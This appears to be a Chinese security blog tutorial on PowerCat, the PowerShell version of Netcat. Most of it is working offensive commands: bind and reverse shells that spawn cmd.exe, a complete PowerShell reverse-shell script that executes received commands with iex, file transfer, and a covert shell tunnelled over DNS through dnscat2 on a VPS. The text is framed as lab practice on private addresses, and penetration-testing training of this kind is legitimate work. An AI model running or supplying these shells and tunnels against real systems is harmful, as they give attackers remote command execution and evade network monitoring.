前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Powercat.ps1脚本的用法

Powercat.ps1脚本的用法

作者头像
谢公子
发布2022-01-20 15:21:34
5760
发布2022-01-20 15:21:34
举报
文章被收录于专栏:谢公子学安全谢公子学安全

目录

PowerCat的用法:

正向连接

反向连接

Windows之间互弹shell

方法一:

Powercat传输文件

方法二:

PowerCat进行DNS隧道通信

PowerCat的用法

代码语言:javascript
复制
参数的意义
-l    监听一个连接                      
 -c   连接到一个监听
 -p   指定端口
 -e   指定一个程序执行
 -ep  执行Powershell      
 -v   显示详细信息    
 -r   Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
 -u   Transfer data over UDP.                              [Switch]
 -dns  Transfer data over dns (dnscat2).                   [String]
 -dnsft   DNS Failure Threshold.                           [int32]
 -t    Timeout option. Default: 60                         [int32]
 -i    Input: Filepath (string), byte array, or string.    [object]
 -o    Console Output Type: "Host", "Bytes", or "String"   [String]
 -of   Output File Path.                                   [String]
 -d    Disconnect after connecting.                        [Switch]
 -rep  Repeater. Restart after disconnecting.              [Switch]
 -g    Generate Payload.                                   [Switch]
 -ge   Generate Encoded Payload.                           [Switch]
 -h    打印出帮助

由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。

正向连接

Windows上的powercat正向连接Kali上的nc

Kali(192.168.10.11):

代码语言:javascript
复制
nc -lvp 8888

Windows:

代码语言:javascript
复制
Import-Module .\powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe

反向连接

Kali上的nc反向连接Windows上的powercat

Kali:

代码语言:javascript
复制
   nc 192.168.10.1 8888 -vv

Windows(192.168.10.1):

代码语言:javascript
复制
 Import-Module .\powercat.ps1
 powercat -l -p 8888 -e cmd.exe -v

Windows之间互弹shell

方法一:

服务器监听(192.168.10.1):

代码语言:javascript
复制
Import-Module .\powercat.ps1
powercat -l -p 8888

客户端连接:

代码语言:javascript
复制
Import-Module .\powercat.ps1
powercat -c 192.168.10.1 -p 8888 -ep

方法二:

服务器监听(192.168.10.1):

代码语言:javascript
复制
Import-Module .\powercat.ps1
powercat -l -p 8888

客户端连接:

代码语言:javascript
复制
.\reverse.ps1

其中,reverse.ps1 脚本的内容如下:

代码语言:javascript
复制
$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

Powercat传输文件

此时,即使文件传输完毕,连接也不会自动断开,需要手动断开。

接收端:Windows10(192.168.10.1)

代码语言:javascript
复制
Import-Module .\powercat.ps1
powercat -l -p 8888 -of test.txt -v

发送端:Windows7(192.168.10.130)

代码语言:javascript
复制
  Import-Module .\powercat.ps1
  powercat -c 192.168.10.1 -p 8888 -i C:\Users\xie\Desktop\test.txt -v

PowerCat进行DNS隧道通信

PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat。所以,在使用DNS隧道通信前,需要在我们的VPS上安装dnscat。

安装dnscat

代码语言:javascript
复制
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

安装完dnscat后,在VPS上执行如下命令:

代码语言:javascript
复制
ruby dnscat2.rb ttpowercat.test -e open --no-cache

在Windows上执行如下命令:

代码语言:javascript
复制
powercat -c 192.168.10.11 -p 53 -dns ttpowercat.test -e cmd.exe

然后我们的Kali上就能收到反弹过来的shell了。

执行 session -i 1 进入反弹过来的shell中,就可以执行whoami等系统命令了。

注:在执行完powercat的命令后,还需要按enter键,对面才能接收到shell

PowerCat是Netcat的Powershell版本,作者是这么介绍的,项目地址:https://github.com/besimorhino/powercat

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档